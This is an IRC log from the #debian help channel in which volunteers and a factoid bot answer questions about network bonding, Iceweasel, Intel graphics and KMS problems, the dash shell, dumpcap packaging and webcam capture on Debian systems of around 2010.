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| 15:46.36 | korsakof | Hi! I need help to do interface bonding, vlan and bridging... I use a distro based on Debian Lenny 64 that use the kernel 2.6.32. Here is the content of my bonding.conf: http://pastebin.com/X92XCpwT Here is my interfaces file: http://pastebin.com/JFLiKkNP When I bring this setup up, it ends with a kernel panic: http://ow.ly/i/691z. The problem seems related to the bridge because if I only create a subinterface "vlan235" over the bond0, everyt |
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| 15:49.47 | qwd | !based on debian |
| 15:49.47 | dpkg | Your distribution may be based on and have software in common with Debian, but it is not Debian. We don't know what changes were made by your distribution and it probably falls short of Debian's standards. #debian only supports Debian; you should respect our choice to volunteer here to help Debian users. Support other distributions is off-topic on #debian, even if your own distro's channel is clueless or non-existent. |
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| 15:52.03 | korsakof | ok |
| 15:53.18 | korsakof | I will remember not joining #proxmox again ;) |
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| 15:55.52 | korsakof | I'm sad because it implies that I will need to install vmware instead of a free solution :( Does Debian as a solution to do virtualisation? |
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| 15:56.59 | dkr | !tell korsakof about based on debian |
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| 15:57.15 | dkr | oops |
| 15:57.21 | jelly | shame on you |
| 15:57.28 | jelly | ;-) |
| 15:57.47 | korsakof | hehehe |
| 15:58.08 | dkr | skipped back to original question and stopped reading at "based on". :) |
| 15:58.08 | jelly | korsakof: also, you got cut at "if I only create a subinterface "vlan235" over the bond0, every" |
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| 15:59.35 | korsakof | if I only create a subinterface "vlan235" over the bond0, everything work well... Any ideas? |
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| 16:01.30 | Bartzy | how can I install thunderbird and firefox on squeeze (prefer no icedove & iceweasel |
| 16:01.57 | AimHere | You could go to the mozilla site and download source and install it that way |
| 16:02.28 | AimHere | It may invalidate our warranty though |
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| 16:02.56 | AimHere | In that if anything goes wrong, #debian might not be in a position to help |
| 16:03.13 | Bartzy | Iceweasel is exactly the same as Firefox ? |
| 16:03.25 | Bartzy | from a plugin point of view ? |
| 16:03.33 | dkr | Bartzy: yes |
| 16:03.42 | AimHere | I think it's the same browser, they've just changed the branding |
| 16:03.50 | AimHere | For software freedom reasons |
| 16:04.33 | dkr | for mozilla foundation greed/control reasons |
| 16:04.35 | AimHere | There may be other tweaks, Debian does often make small changes to the software that it provides |
| 16:04.50 | Bartzy | It's 3.5.15 :o |
| 16:04.55 | Bartzy | Firefox is 3.6.6 already... |
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| 16:05.11 | AimHere | Iceweasel 3.5.15 is the same as Firefox 3.5.15 |
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| 16:05.19 | AimHere | Or at least ought to be |
| 16:06.08 | Bartzy | yeah, firefox is 3.6.6 already |
| 16:06.24 | AimHere | Necessarily whatever Debian packages is bound to lag behind upstream |
| 16:06.49 | AimHere | Also remember that Debian is a tad bureaucratic in nature, so it could plausibly lag more than other distros |
| 16:06.54 | stew | Bartzy: debian has 3.6.12 in experimental only because squeeze will release with 3.5.15, most likely |
| 16:07.58 | dkr | Bartzy: is there really some feature in 3.6.6 that you need or are you just under the misapprehension that a higher number is always better? ;) |
| 16:08.09 | xuser | dkr: lots of add ons |
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| 16:09.30 | Bartzy | dkr: Actually 3.6 is much better, performance-wise... |
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| 16:11.58 | d45h0 | !de |
| 16:11.59 | dpkg | Deutschsprachige Hilfe bekommt ihr in #debian.de (auf irc.oftc.net, irc.freenode.net oder irc.belwue.de) - German speaking users please go to #debian.de (on irc.oftc.net, irc.freenode.net or irc.belwue.de). |
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| 16:13.32 | caraconan | Hi all. Which packages should I install to have dumpcap command without having to install wireshark? |
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| 16:14.24 | stew | caraconan: you'd have to edit the wireshark source package in order to create your own version of the package which didn't include all of wireshark |
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| 16:15.08 | rahsputin | caraconan, pcaputils |
| 16:15.17 | caraconan | Nope, I already tried |
| 16:15.19 | rahsputin | or am i wrong ? |
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| 16:16.10 | do0ob | Help, i've made a file i can't delete |
| 16:16.23 | caraconan | ls -la |
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| 16:16.26 | do0ob | i wrote a program, and instead of ./program i did sh program |
| 16:16.27 | caraconan | To get the permissions |
| 16:16.30 | do0ob | now i can't delete it |
| 16:16.30 | caraconan | rm -fr my_file |
| 16:16.33 | caraconan | To delete it |
| 16:16.40 | caraconan | Try as root |
| 16:16.43 | caraconan | su - |
| 16:16.53 | do0ob | ???@@??@8?@????@@@@@?????????@?@?????@@???? |
| 16:16.56 | do0ob | thats the file |
| 16:17.15 | stew | do0ob: what command are you using to delete it, and what error do you get? |
| 16:17.26 | do0ob | i can't rm the file because i don't know the first character |
| 16:17.29 | dkr | if there aren't any other files with @ symbols you can do rm *@* |
| 16:17.35 | qwd | maybe you need to escape by doing \? and then tab to autocomplete |
| 16:17.38 | do0ob | i'm thinking of moving everything out and copying back everything else |
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| 16:17.39 | Jckf | For those of you who were here when I came in almost 2 days ago: I now have root access again. Had to tell someone how to set the setuid bits back on sudo over the phone |
| 16:17.43 | stew | do0ob: is the first character not ? ? |
| 16:17.48 | iulhk | hi all.. any idea about this error "ubuntu1 dhclient: can't create /var/lib/dhcp3/dhclient.eth0.leases: Permission denied"? |
| 16:17.49 | do0ob | qwd: its not a ? its an unknown character |
| 16:17.54 | dkr | qwd: it's not a literal ? though, it's an unprinatable char more likely |
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| 16:17.59 | Jckf | daemonkeeper |
| 16:18.09 | do0ob | �@@�@8@@@@@@� |
| 16:18.09 | do0ob | @@ |
| 16:18.26 | rahsputin | what does $ rm -rf \?<TAB> wwithout pressing enter? |
| 16:18.36 | stew | why -r ? |
| 16:18.37 | rahsputin | <TAB> TabButton |
| 16:18.53 | do0ob | rahsputin: its not a question mark, the file name can't be shown |
| 16:18.54 | dkr | stew: bad habits ;) |
| 16:18.59 | rahsputin | ok - -r :-) |
| 16:19.03 | stew | do0ob: use zsh and "rm ./<tab><tab><tab>" keep hitting tab until it gets you your file |
| 16:19.11 | stew | do0ob: or use mc, or emacs, or ... |
| 16:19.30 | daemonkeeper | Jckf: *g* sounds like experts are working in your dc |
| 16:19.50 | Jckf | Hehe. It's not a dc |
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| 16:19.58 | Jckf | So they don't know shit |
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| 16:22.03 | do0ob | stew: thanks, zsh is awesome |
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| 16:22.24 | _sho_ | hi, i have a problem i dont know how to solve. my eth0 is being renamed on boot to eth4 |
| 16:22.36 | _sho_ | when the machine boots, the interface starts properly |
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| 16:22.54 | cahoot_ | !70 |
| 16:22.54 | dpkg | udev has the ability to statically rename Ethernet cards based on MAC address since version 0.090. The addresses are configured in /etc/udev/rules.d/70-persistent-net.rules (Lenny, Squeeze) or /etc/udev/rules.d/z25_persistent-net.rules (Etch). If you want the mappings to change, edit the respective file. To apply changes: "udevadm trigger" ("udevtrigger" on Etch) or reload the relevant driver module. See also <forcedeth mac>, <udev>. |
| 16:22.56 | jelly | Bartzy: my i915GM works reasonably well, some minor Render (antialiased fonts) bugs here and there |
| 16:22.56 | _sho_ | after, even if i use eth4 in interfaces, when i do a networking stop/start, it will not restart the interface |
| 16:23.06 | dkr | _sho_: edit /etc/udev/rules.d/70-persistent-net.rules |
| 16:23.20 | caraconan | I have to install whole wireshark to get dumpcap? |
| 16:23.46 | _sho_ | dkr: even after editing said file, after boot, networking stop/start will never bring back the interface |
| 16:23.56 | dkr | caraconan: it's in wireshark-common package |
| 16:23.57 | _sho_ | i have to ifup it manually |
| 16:23.57 | stew | caraconan: you could install wireshark-common only |
| 16:24.51 | caraconan | ...same suggested packages. It's to a server without X. I am trying installing tcpdump |
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| 16:25.16 | _sho_ | something is starting the interface as eth0, then changing it to eth4 (udev), then changing it back. |
| 16:25.19 | Bartzy | jelly: It's a graphics adapter inside an i5 CPU (mine)... It works better on 2.6.36, the problem is mainly dual displays (clone) |
| 16:25.33 | rahsputin | caraconan, stew when i # apt-get install pcaputils: The following NEW packages will be installed: |
| 16:25.34 | rahsputin | <PROTECTED> |
| 16:25.34 | rahsputin | <PROTECTED> |
| 16:25.36 | stew | caraconan: "aptitude install wireshark-common --without-recommends" |
| 16:25.46 | Bartzy | I'm experiencing some flickering (for only 0.5 sec), every 2-5 minutes... how can I even debug this ? :\ |
| 16:25.53 | rahsputin | and i dont have wireshark installed |
| 16:25.54 | llutz | caraconan: aptitude install wireshark-common -R |
| 16:26.01 | stew | rahsputin: if you want to install wireshak, "apt-get install wireshark" |
| 16:26.18 | jelly | Bartzy: that sounds like a power saving bug. |
| 16:26.29 | caraconan | <rahsputin> installing pcaputils you will not get dumpcap command |
| 16:26.32 | _sho_ | will udevadm trigger prevent the bizarre renaming and ensure that networking restart actually works? |
| 16:26.51 | rahsputin | caraconan, srry thn |
| 16:26.51 | caraconan | <llutz> <stew> I will try. Thanks to all |
| 16:26.54 | jelly | Bartzy: i915 kernel module has a powersave:int option; try giving it powersave=0 |
| 16:27.31 | jelly | Bartzy: http://wiki.debian.org/XStrikeForce/CurrentProblemsInUnstable |
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| 16:28.48 | Bartzy | jelly: I'm using squeeze, not unstable.. I will try |
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| 16:31.08 | Bartzy | why /bin/sh is directed to dash and not bash ? Can I direct it to "bash" ? |
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| 16:31.26 | stew | Bartzy: because dash is so much faster, yes, you can |
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| 16:32.12 | AimHere | Might it get redirected back after an apt-get upgrade? |
| 16:32.36 | Bartzy | how come it's faster ? Where can I see the difference ? |
| 16:33.27 | Bartzy | jelly: Where should I add powersave=0 ? Also, Are you aware that I'm using 2.6.36 ? It's still relevant ? |
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| 16:33.49 | jelly | Bartzy: if you have bugs that might be powersaving relevant, yes. |
| 16:34.17 | Bartzy | jelly: My problem is that the screen is flickering for a second, every 2-5 minutes... |
| 16:34.28 | Bartzy | It's a laptop. |
| 16:34.29 | stew | Bartzy: bash has lots of features related to interactive use, and that affects how quickly bash can start up. upon boot when you are running hundreds of scripts, it adds up |
| 16:34.51 | jelly | Bartzy: we're running in circles here. You said all that already. |
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| 16:34.53 | Bartzy | jelly: OK, I'll try to add powersave=0, but where ? |
| 16:34.58 | Bartzy | thanks stew. |
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| 16:35.50 | jelly | Bartzy: it's a kernel module option, so, anywhere in /etc/modprobe.d/ -- you can make a custom file or use one already present, esp. if there's one that already gives i915 some options |
| 16:37.21 | Bartzy | jelly: so 'options i915 powersave=0 ' ? |
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| 16:38.23 | jelly | Bartzy: right |
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| 16:39.04 | Bartzy | thanks, I'll try it.. Does that mean that power saving won't work only for the GPU? Display will still get off and brightness will be adjusted as I configured ? |
| 16:39.30 | jelly | right |
| 16:39.35 | Bartzy | thanks a lot. |
| 16:39.41 | Bartzy | a restart is needed ? |
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| 16:44.46 | jelly | reboot |
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| 16:50.32 | chrissbx | I'm perplexed as to where the "tools -> options" menu of firefox has gone in iceweasel. |
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| 16:50.43 | chrissbx | I want to set cookie options, where has this stuff gone? |
| 16:50.54 | chrissbx | (This is on testing) |
| 16:51.06 | daemonkeeper | Edit -> Preferences? |
| 16:51.13 | chrissbx | Where there? |
| 16:51.26 | daemonkeeper | Privacy |
| 16:52.01 | chrissbx | Oh man, hidden indented under "Remember history". |
| 16:52.07 | chrissbx | With a *link*. |
| 16:52.39 | daemonkeeper | That is, if anything, an upstream change though. |
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| 16:53.34 | chrissbx | How do I say "remove and block"? |
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| 16:55.12 | chrissbx | I still haven't found *any* way to change cookie *settings* at all. |
| 16:55.24 | chrissbx | Just how to remove stored ones. |
| 16:55.38 | chrissbx | Without a way to say to block the site. |
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| 16:59.38 | Bartzy | why when I move to another tty, by using Alt+Ctrl+F1, the screen freezes @ black.. I can't do anything.. not even return to X |
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| 17:00.41 | zxd | how to test if filesystem is mounted with -o acl , other then checking /etc/mtab |
| 17:00.44 | zxd | for use ins cript |
| 17:00.45 | zxd | script |
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| 17:00.50 | KaffeeJunky123 | Bartzy: shouldn't happen |
| 17:00.59 | jhutchins_lt | Bartzy: squeeze? |
| 17:01.07 | Bartzy | jhutchins_lt: Yes. |
| 17:01.20 | Bartzy | Never encountered so much problems (this is a laptop, always worked on desktops)... |
| 17:01.27 | jhutchins_lt | Bartzy: Known issue, fall back to lenny until a fix comes out. |
| 17:01.36 | Bartzy | I'm trying to boot to init 1 , without GUI.. but this doesn't work :| |
| 17:01.52 | Bartzy | jhutchins_lt: never happened to me on the desktop... something related to hardware ? |
| 17:01.55 | pobega | zxd: you can run mount with no arguments, grep for the filesystem you want, then grep for something like '\(.*acl.*\)$' |
| 17:02.04 | jhutchins_lt | Bartzy: Like I said, known issue. kms. |
| 17:02.11 | jhutchins_lt | Bartzy: Intel graphics? |
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| 17:03.00 | Bartzy | jhutchins_lt: Unfortuneatly |
| 17:03.08 | Bartzy | Unfortunately* |
| 17:03.53 | Bartzy | I also can't seem to boot into single mode... writing 'single' at the end of the 'linux' line in grub doesn't cut it.. just black screen |
| 17:04.05 | jhutchins_lt | Bartzy: I recommend keeping squeeze as a boot option until they get it worked out. That way you can continue to work, but do chroot updates to see if it gets fixed. |
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| 17:04.44 | jhutchins_lt | You can disable kms, but the current drivers won't load without it. |
| 17:04.49 | Bartzy | jhutchins_lt: OK... |
| 17:05.03 | Bartzy | What KMS is doing ? Also, can you advise about the single mode ? |
| 17:05.21 | jhutchins_lt | !kms |
| 17:05.21 | dpkg | [KMS] Kernel Mode Setting, where the initialization of graphical modes is performed by the Linux kernel instead of X. It is hardware dependent, introduced in Linux 2.6.29. Enabled via modprobe as of xserver-xorg-video-intel 2:2.9.1-2 and xserver-xorg-video-radeon 1:6.12.192-2. To disable, edit /etc/modprobe.d/{i915,radeon}-kms.conf or boot with the 'nomodeset' kernel command line parameter. http://wiki.debian.org/KernelModesetting |
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| 17:05.58 | jhutchins_lt | Bartzy: In squeeze it's no longer modular. |
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| 17:06.16 | Bartzy | jhutchins_lt: I'm running 2.6.36, the drivers there won't load if I disable KMS ? |
| 17:06.25 | Bartzy | jhutchins_lt: What is no longer modular ? |
| 17:06.37 | Bartzy | how can I boot without GUI ? |
| 17:06.42 | jhutchins_lt | Bartzy: The xorg drivers won't load without the framebuffer that kms provides. |
| 17:07.38 | jhutchins_lt | Some idiot over at xorg thinks we should be more like windows which can't start if the graphics don't work. |
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| 17:09.16 | Bartzy | wait, I can't load the system without a GUI ? |
| 17:09.21 | Bartzy | only a console ? |
| 17:09.22 | KaffeeJunky123 | jhutchins_lt: isn't there a vesa fallback o_O? |
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| 17:10.27 | KaffeeJunky123 | Bartzy: ofc you can, debian does even add a default failsafe boot option to grub for it |
| 17:10.39 | jhutchins_lt | Bartzy: As above, disable with nomodeset. X will fail, hopefully leaving you at a console, or use nomodeset single |
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| 17:11.51 | jhutchins_lt | KaffeeJunky123: Dunno if you can force vesa mode or not, there's no automatic fallback. You'd probably need to set it up in xorg.conf. |
| 17:11.51 | Bartzy | KaffeeJunky123: The recovery mode works until some point, where X probably get started and then I must hard reboot... |
| 17:11.56 | Bartzy | jhutchins_lt: I'll try that. |
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| 17:12.08 | jhutchins_lt | KaffeeJunky123: Unfortunately my test system lost it's hard drive. |
| 17:12.55 | KaffeeJunky123 | jhutchins_lt: squeeze is in freeze btw and it's working rather stable for me, some stupid bugs though because I upgraded from lenny |
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| 17:13.09 | Bartzy | it makes it really hard to use debian for this laptop... On the one hand I can't use lenny because a lot of the packages are old... on the other hand squeeze has so much problems with laptops... |
| 17:13.20 | KaffeeJunky123 | jhutchins_lt: I can't seem to get the update-notifier thing to work ^^ |
| 17:13.21 | icebrain | jhutchins_lt: but isn't Xorg for graphics anyway? Why does it matter if you can't start Xorg without KMS? |
| 17:13.31 | Bartzy | jhutchins_lt , adding 'nomodeset single' won't help - the laptop is still getting into a black screen after a while of booting. |
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| 17:13.52 | KaffeeJunky123 | Bartzy: try the failsafe boot option |
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| 17:14.01 | Bartzy | KaffeeJunky123: Won't work. This is a new installation... |
| 17:14.04 | haxi__ | hi here :) |
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| 17:14.32 | jhutchins_lt | Bartzy: what about just nomodeset? |
| 17:14.34 | KaffeeJunky123 | Bartzy: didn't it work a few hours ago? |
| 17:14.37 | Bartzy | I can't get into the system with GUI because something is "ruined".. I know how to fix it (change /bin/sh to bash instead of dash... weird stuff), but I can't do that because I can't get into single mode!! |
| 17:14.58 | Bartzy | KaffeeJunky123: The GUI worked, I ruined it a bit, trying to fix something... I only need a shell for 2 secs :p |
| 17:15.12 | KaffeeJunky123 | Bartzy: what did you do? |
| 17:15.54 | Bartzy | KaffeeJunky123: I don't know exactly why it happens, it's something in some scripts my company uses... |
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| 17:16.19 | Bartzy | jhutchins_lt: That just brought up gnome |
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| 17:16.38 | Bartzy | omg this is so annoying |
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| 17:17.34 | jhutchins_lt | Bartzy: Really? So you got X working. |
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| 17:18.26 | Bartzy | jhutchins_lt: Yes, it's working, but when I login it comes back to the login screen everytime. For some reason, it's because /bin/sh is directed to dash instead of bash. dunno why. But I can't get a shell to change that symlink. |
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| 17:18.42 | Bartzy | I just booted up with knoppix to change that symlink |
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| 17:18.56 | Bartzy | I can't believe I actually can't get into single mode to fix stuff up.... |
| 17:19.12 | jhutchins_lt | I would strongly suggest you drop back to lenny. Newer is not always better. |
| 17:19.29 | jhutchins_lt | Bartzy: I'm checking on some details... |
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| 17:19.33 | Bartzy | lenny should work fine ? |
| 17:19.37 | eft | in the linux directory structure is there a recommended dir to store local backups ie should I create \backups or use \var or something else? |
| 17:19.38 | eft | this is for database dumps that will be created by cron under root user |
| 17:19.41 | Bartzy | jhutchins_lt: Thanks. what details if I may ? |
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| 17:20.13 | dkr | eft: /var does make sense since it is data likely to change often |
| 17:20.46 | dkr | eft: in fact dpkg and aptitude use /var/backups/ |
| 17:21.15 | jhutchins_lt | How to get single mode |
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| 17:21.23 | Bartzy | jhutchins_lt: Thanks :p |
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| 17:21.52 | Bartzy | jhutchins_lt: It's weird because I don't see the whole text part boot process of the kernel.. even when 'quiet' is not in the boot options... |
| 17:22.04 | Bartzy | I see text for 2 sec, than for 5-6 sec the screen is black until gnome is up |
| 17:22.40 | eft | dkr: thanks for the suggestions; so do you think I could piggyback onto /var/backups or should I create /var/db_backups ? |
| 17:22.51 | eft | splitting hairs maybe |
| 17:22.56 | jhutchins_lt | Bartzy: That's pretty much what I get (mine works when it's up though). |
| 17:23.19 | jhutchins_lt | Bartzy: I think if you turn off "splash" and/or "quiet" that fixes it. |
| 17:23.28 | dkr | eft: if backing up as root you coudl throw themin /var/backups. if a specific user you might want to create a dir owned by thatuser |
| 17:23.48 | jhutchins_lt | Bartzy: Dunno why you can't get single mode though - space seperation of the options is correct. |
| 17:23.58 | eft | dkr: ok thanks again |
| 17:24.06 | jhutchins_lt | Bartzy: You might try nosetmode single and remove quiet and splash. |
| 17:24.59 | chrissbx | (Hm, I've got a laptop with intel graphics but haven't run into this yet, although my last reboot was 7 days ago. I'm suffering from random switchery of internal vs. external monitor settings, wondering if that's related.) |
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| 17:25.48 | jhutchins_lt | chrissbx: I would say that's probably a seperate bug. |
| 17:26.27 | jhutchins_ltel | One of the problems is that the integrated Intel graphics are not always implemented exactly the same way. |
| 17:27.02 | jhutchins_lt | I had problems similar to Bartzy with an 855GM. |
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| 17:27.21 | chrissbx | So I should probably report it. I wish I wouldn't spend all day either fiddling with computers or surfing the net... |
| 17:27.44 | jhutchins_lt | The N10 is working fine for me on squeeze. |
| 17:28.04 | chrissbx | I've got a HP nc2400. |
| 17:28.21 | jhutchins_lt | chrissbx: What's the GPU? |
| 17:28.35 | jhutchins_lt | lspci | grep VGA |
| 17:29.08 | chrissbx | Intel Corporation Mobile 945GM/GMS/GME, 943/940GML Express Integrated Graphics Controller (rev 03) |
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| 17:29.45 | chrissbx | I've got an issue that the keyboard doesn't work in gpm, btw, so I'm always starting X with startx. |
| 17:30.03 | jhutchins_lt | chrissbx: gdm you mean? |
| 17:30.03 | chrissbx | gdm |
| 17:30.22 | chrissbx | (Also same problem in kdm iirc.) |
| 17:30.24 | jhutchins_lt | chrissbx: I know kdm has it's own rc file, perhaps gdm does as well and you can set something there. |
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| 17:31.19 | Bartzy | jhutchins_lt: Thanks a lot for your help. |
| 17:31.29 | jhutchins_lt | Bartzy: Good luck with it. |
| 17:31.33 | Bartzy | thanks :p |
| 17:31.53 | Bartzy | I was starting to think I'll just install Windows and install a powerful VM (virtualbox or something) with debian inside... |
| 17:31.55 | Bartzy | But that's lame |
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| 17:32.34 | jhutchins_lt | Indeed. |
| 17:32.54 | jhutchins_lt | I don't have any trouble with the lenny systems I run, they all work great. |
| 17:33.06 | Bartzy | One last question I hope: Some commands (running in gnome-terminal), like aptitude, are weird on their output... the output is only 1 line long sometimes.. like aptitude update... |
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| 17:33.28 | jhutchins_lt | Bartzy: I see that here too. (On squeeze only) |
| 17:33.39 | Bartzy | and the line gets deleted and rewritten a lot .. |
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| 17:34.26 | jhutchins_lt | I don't know if really disabling the framebuffer would fix that or not. |
| 17:34.27 | chrissbx | (I'm using urxvt, because I use terminals a lot and found this to be more satisfying in general.) |
| 17:34.33 | Bartzy | jhutchins_lt: What you're saying about squeeze is very weird. I'm talking to you from a squeeze machine that I run for over a year.. it has intel graphics (desktop motherboard), never had an issue with console, single mode or whatever, and aptitude output works as expected.. how can you explain that ? |
| 17:34.54 | jhutchins_lt | That's why squeeze is still testing. |
| 17:35.21 | Bartzy | jhutchins_lt :( |
| 17:35.28 | jhutchins_lt | People who say "oh it runs fine for me" think that means something - it doesn't, it just means you're ignorant of the existing problems that other people have. |
| 17:35.42 | Bartzy | jhutchins_lt: You're running lenny on your desktop machines ? It's not 'old' packages-wise ? |
| 17:35.58 | jhutchins_lt | Not in any way that affects my work. |
| 17:36.08 | Bartzy | I run lenny on my server, I have to compile stuff from time to time.. that's annoying... |
| 17:36.33 | Bartzy | Annoying not because I have to compile, but because I have to compile and there's a package for it for squeeze and up |
| 17:36.40 | jhutchins_lt | Everything I had compiled in the past has been removed or replaced with standard packages. I run a few things from backports. |
| 17:37.12 | Bartzy | jhutchins_lt: You're running 32-bit ? lenny will run with 2.6.36 kernel (I need to use it for some Intel graphics weirdness with monitors) ? |
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| 17:37.41 | jhutchins_lt | Yes, 32bit all around, servers and desktops (and ltsp). |
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| 17:38.52 | jhutchins_lt | I have the .32 kernel on one desktop, and I have to boot back to .26 to see my scanner. |
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| 17:39.11 | jhutchins_lt | Newer, as I said, is not always better. |
| 17:39.13 | _____________ | i got this minidv camcorder. I "modprobe uvcvideo", I get this when I plug the cam: http://pastebin.com/Fga0y4HU but no /dev/videoX is created |
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| 17:40.02 | zxd | pobega: that reads from /etc/mtab |
| 17:40.07 | _____________ | halp? |
| 17:40.25 | jhutchins_lt | _____________: I have a working webcam and no /dev/videoX |
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| 17:40.35 | jhutchins_lt | mplayer tv:/ works. |
| 17:40.52 | _____________ | jhutchins_lt: how do I capture? |
| 17:41.11 | chrissbx | mencoder |
| 17:41.21 | jhutchins_lt | I'm sure there's a way to do it with mplayer, or cheese, or mencoder. |
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| 17:42.50 | chrissbx | mencoder tv:// -tv driver=v4l2:width=320:height=240:device=/dev/video0 -o file.avi -ovc lavc=yes -lavcopts vcodec=mpeg4 |
| 17:42.54 | chrissbx | is what I'm using |
| 17:43.03 | _____________ | Playing tv:/. |
| 17:43.03 | _____________ | File not found: 'tv:/' |
| 17:43.03 | _____________ | Failed to open tv:/. |
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| 17:43.11 | chrissbx | Hum, /dev/video0.. |
| 17:43.24 | chrissbx | tv:// ? |
| 17:44.21 | chrissbx | oh, append "-nosound -" to the above line. |
| 17:44.27 | _____________ | well |
| 17:44.41 | chrissbx | (the mencoder line) |
| 17:44.57 | _____________ | since it is a minidv camcorder, the software must tell the camcorder to start playing |
| 17:45.11 | _____________ | also, I need sound |
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| 17:45.40 | chrissbx | _____________: you've got a _____________ nickname. |
| 17:45.51 | _____________ | yup |
| 17:46.22 | _____________ | hm |
| 17:46.26 | chrissbx | :^) |
| 17:46.28 | _____________ | complicated issu to say the least |
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| 17:47.43 | derik | how i make a random cron job |
| 17:48.00 | chrissbx | _____________: Maybe ask on #mplayer. |
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| 17:48.36 | chrissbx | derik: run "crontab -e" as the user you want to run it as |
| 17:48.48 | chrissbx | or do you mean random as in random time? |
| 17:49.00 | derik | chrissbx random time :D |
| 17:49.26 | daemonkeeper | derik: While I don't see the reason to do that, you could run a cron job every n time units which does nothing but randomly something. |
| 17:49.54 | chrissbx | No idea then :). (I'd probably run a loop with sleep $random_time instead) |
| 17:50.02 | daemonkeeper | e.g. Call a script which does if (random_condition) { do_sth() } else { exit } |
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| 17:53.17 | jhutchins_lt | _____________: If it's usb then lsusb and watching dmesg when you plug it in may be informative. |
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| 18:11.04 | haxi__ | hi here! i've a big problem. I just installed debian on my other machine, and auto dhcp configuration didn't work, so I entered that I'll configure the network later. We are now later and, I don't know how to configure the network. |
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| 18:11.49 | pobega | !tell haxi__ interfaces |
| 18:11.54 | pobega | or not |
| 18:11.58 | pobega | !interfaces |
| 18:11.58 | dpkg | Your network configuration is in the file /etc/network/interfaces ; "man 5 interfaces" for documentation, "zless /usr/share/doc/ifupdown/examples/network-interfaces.gz" for example configurations. Start and stop your networking with ifup -a and ifdown -a respectively. See also <dhcp client>, <resolv.conf>, <static route>. |
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| 18:12.42 | haxi__ | the fact is that I configured my interfaces : http://pastebin.com/JCZWMftm |
| 18:12.59 | haxi__ | I still can't access the internet and not even 192.168.1.1 |
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| 18:14.13 | haxi__ | do you guys have any idea? |
| 18:14.33 | pobega | have you tried restarting the networking daemon since you've edited the file? |
| 18:14.41 | pobega | Also might be a good idea to use allow-hotplug eth0 in place of auto eth0 |
| 18:14.59 | vtts | haxi__, pastebin output from the following commands: ifconfig -a; route -n |
| 18:15.13 | babilen | pobega: {!,dpkg: }tell NICK [-]about FACTOID -- e.g.: !tell babilen -about interfaces |
| 18:15.27 | pobega | babilen: I figured that out afterwards, I forgot the about ;P but thanks. |
| 18:15.40 | haxi__ | vtts: sorry it's difficult to pastbin files, since I don't have any internet access there |
| 18:15.42 | babilen | pobega: No problem :) |
| 18:15.55 | vtts | haxi__, so check if your settings are applied |
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| 18:16.15 | jhutchins_lt | suspects that the driver for the NIC may not be loaded. |
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| 18:16.42 | pobega | haxi__: command | curl -F 'sprunge=<-' http://sprunge.us |
| 18:16.52 | pobega | haxi__: auto pastes to sprunge |
| 18:16.56 | jhutchins_lt | lspci | grep net might be useful. |
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| 18:17.14 | haxi__ | thanks but I don't have any acces to the net on the debian computer |
| 18:17.18 | jhutchins_lt | pobega: doesn't work if the net's not up. |
| 18:17.22 | haxi__ | here I'm on a second computer |
| 18:17.23 | pobega | oh, haha, I didn't think of that. |
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| 18:22.41 | delby | hi, can anyone refer me to a good tutorial on gconftool-2? i am having great difficulties figuring it out. |
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| 18:25.56 | leafwiz | <PROTECTED> |
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| 18:26.31 | daemonkeeper | That's not a Debian problem, that's a known problem of dynamips (the IOS emulator) who needs to guess when to idle the CPU |
| 18:26.36 | vtts | leafwiz, how do you set the lowest prio? |
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| 18:27.03 | leafwiz | vtts, I nice it to 15 |
| 18:27.16 | vtts | have you tried cgroups? |
| 18:27.34 | daemonkeeper | Ask Google about workarounds. Basically you have to tell dynamips when it can idle the CPU, out of box it doesn't know when to sleep |
| 18:27.43 | leafwiz | vtts, what is that? |
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| 18:28.18 | vtts | leafwiz, http://www.kernel.org/doc/Documentation/cgroups/cgroups.txt |
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| 18:29.49 | daemonkeeper | Or do it appropriate http://www.dynagen.org/tutorial.htm#_Toc193247999 |
| 18:30.01 | leafwiz | daemonkeeper, but I have a dual core system. I don't see why everything should slow down even if one process where to hog one of the cores |
| 18:30.32 | daemonkeeper | leafwiz: Well, that is your problem. You can workaround it of course. |
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| 18:34.33 | razieliyo | abrotman, I've solved my problem |
| 18:34.54 | razieliyo | it was win problem |
| 18:34.54 | razieliyo | like always it is |
| 18:35.10 | abrotman | said that? |
| 18:36.28 | razieliyo | mmm I think you didn't |
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| 18:36.37 | razieliyo | but it was a really freaking problem |
| 18:36.50 | razieliyo | I just had to copy ntldr and ntdetect to windows root |
| 18:37.33 | razieliyo | anyway, now I'm happier, I've noticed debian has become more stable since last time I used it |
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| 18:46.31 | abrotman | razieliyo: probably more of a "grub works here, probably something with windows" .. nothing very useful :) |
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| 18:52.50 | neocortex | Hello! Can anyone help me with Firestarter -- it does not start on boot and I cannot understand why. |
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| 18:58.52 | JordiGH | Alright, once I downloaded the netinst, how do I get into a usb pendrive and make it bootable? |
| 18:58.59 | JordiGH | forgot where the docs for this are. |
| 18:59.17 | stew | JordiGH: /msg dpkg usb-install |
| 18:59.37 | JordiGH | СпаÑибо! |
| 18:59.47 | SlayerXP | JordiGH: also google "unetbootin" |
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| 19:00.44 | stew | it seems that with SOME bios you can just copy the iso directly to the usb. with SOME people perhaps unetbootin works. the more involved procedure in the i-g is more likely to work if you can bother to follow it |
| 19:00.54 | stew | (seems that a lot of people are good at leaving out steps) |
| 19:01.23 | razieliyo | hey, I can't find the xorg.conf |
| 19:01.29 | razieliyo | can anyone tell me where is it? |
| 19:01.37 | crono- | locate xorg.conf |
| 19:01.48 | stew | razieliyo: its likely to not exist |
| 19:01.49 | crono- | find /etc -type f -name xorg.conf ? |
| 19:01.58 | stew | that's silly |
| 19:02.08 | crono- | apt-get install xorg then ;) |
| 19:02.09 | razieliyo | doesn't find anything |
| 19:02.11 | stew | its going to be in /etc/X11 if anywhere, but its no longer needed most of the time |
| 19:02.27 | razieliyo | crono-, it's installed |
| 19:02.33 | razieliyo | and there's no xorg at /etc/X11 |
| 19:02.47 | stew | razieliyo: you can create one if you need/want one. most people shouldn't need one |
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| 19:03.07 | razieliyo | I see, I would want it because I'm having problems with nvidia |
| 19:03.16 | razieliyo | I think my card (Gforce 5500) is too old |
| 19:03.26 | razieliyo | I'll try with legacy drivers from the repositories |
| 19:03.30 | stew | razieliyo: are you using the free drivers or the non-free drivers? |
| 19:03.54 | razieliyo | stew, I don't know, I just did module assistant |
| 19:04.01 | razieliyo | I think free one |
| 19:04.03 | stew | razieliyo: that's non-free |
| 19:04.08 | razieliyo | nice |
| 19:04.15 | razieliyo | and which is better? |
| 19:04.19 | razieliyo | free or nonfree |
| 19:04.26 | jhutchins_lt | razieliyo: That's what I have on my lenny desktop system. Didn't need to do anything special to set it up. |
